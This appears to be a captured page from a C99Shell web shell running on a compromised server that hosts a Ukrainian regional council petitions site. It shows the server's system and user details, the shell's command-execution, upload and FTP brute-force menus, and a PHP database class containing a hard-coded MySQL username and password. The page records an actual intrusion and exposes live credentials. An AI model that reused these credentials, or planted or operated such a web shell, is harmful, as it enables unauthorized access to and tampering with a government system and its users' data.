!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/petitions.zt-rada.gov.ua/classes/   drwxr-xr-x
Free 106.83 GB of 200.55 GB (53.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Main_Model.inc.php (3.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
    
class Main_Model
    
{
        public static 
$DB;
        public static function 
Connect()
        {
            
self::$DB = new PDO('mysql:host=localhost;dbname=zt-rada;charset=utf8''morozov''mav1024');
            
self::$DB->exec("SET NAMES utf8");

        }
        public static function 
ArrayFilter($array$fields)
        {
            
$newArray = array();
            foreach(
$fields as $value)
                
$newArray[$value] = $array[$value];
            return 
$newArray;
        }
        public static function 
ExecuteQuery($sql$params = array())
        {
            
$sth self::$DB->prepare($sql);
            if (!empty(
$params)) {
                if (
$params === array_values($params)) {
                    
$sth->execute($params);
                } else {
                    foreach (
$params as $key => $value) {
                        
$sth->bindValue(':' $key$value);
                    }
                    
$sth->execute();
                }
            } else
                
$sth->execute();
            return 
$sth;
        }
        public static function 
GetAllRecords($table)
        {
            
$res self::ExecuteQuery("SELECT * FROM $table");
            return 
$res->fetchAll();
        }
        public static function 
GetAllRecordsToAssocArray($table$uniqueField)
        {
            
$res self::ExecuteQuery("SELECT * FROM $table");
            
$rows $res->fetchAll();
            
$result = array();
            for(
$i 0$i count($rows); $i++)
                
$result[$rows[$i][$uniqueField]] = $rows[$i];
            return 
$result;
        }
        public static function 
DateExplode($dateString)
        {
            
$date_components explode(" "$dateString);
            
$date explode("-"$date_components[0]);
            
$time explode(":"$date_components[1]);
            return array(
$date[0], $date[1], $date[2], $time[0], $time[1], $time[2]);
        }
        public static function 
GetUsefulDate($dateString$showdate true$showtime true)
        {
            global 
$ULANG;
            
$html "";
            
$parts self::DateExplode($dateString);
            
$month = array('','січня''лютого''березня''квітня''травня''червня''липня''серпня''вересня''жовтня''листопада''грудня');
            if (
$showdate)
            {
                
$html .= '<span class="compdate">'.(int)$parts[2]." ".$month[((int)$parts[1])]." ".$parts[0]." р.</span>";
            }

            if (
$showtime)
            {
                
$html .= ' <span class="comptime"> о'." ".$parts[3].":".$parts[4].'</span>';
            }
            return 
$html;
        }
        public static function 
GetNowDate()
        {
            return 
$date date('Y-m-d H:i:s');
        }
        public static function 
GetNowYear()
        {
            return 
date('Y');
        }
        public static function 
NormalizePercent($value)
        {
            if (
$value >= 100)
                return 
100;
            else
                return 
$value;
        }
        public static function 
Insert($sql$params = array())
        {
            
$sth self::$DB->prepare($sql);
            if (!empty(
$params))
            {
                if (
$params===array_values($params))
                {
                    
$sth->execute($params);
                } else {
                    foreach (
$params as $key => $value) {
                        
$sth->bindValue(':' $key$value);
                    }
                    
$sth->execute();
                }
            }

        }
        public static function 
GetRowById($table$fieldName$id)
        {
            
$sql "SELECT * FROM {$table} WHERE {$fieldName} = :id";
            
$sth self::ExecuteQuery($sql, array('id' => $id));
            return 
$sth->fetch();
        }
    }

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0269 ]--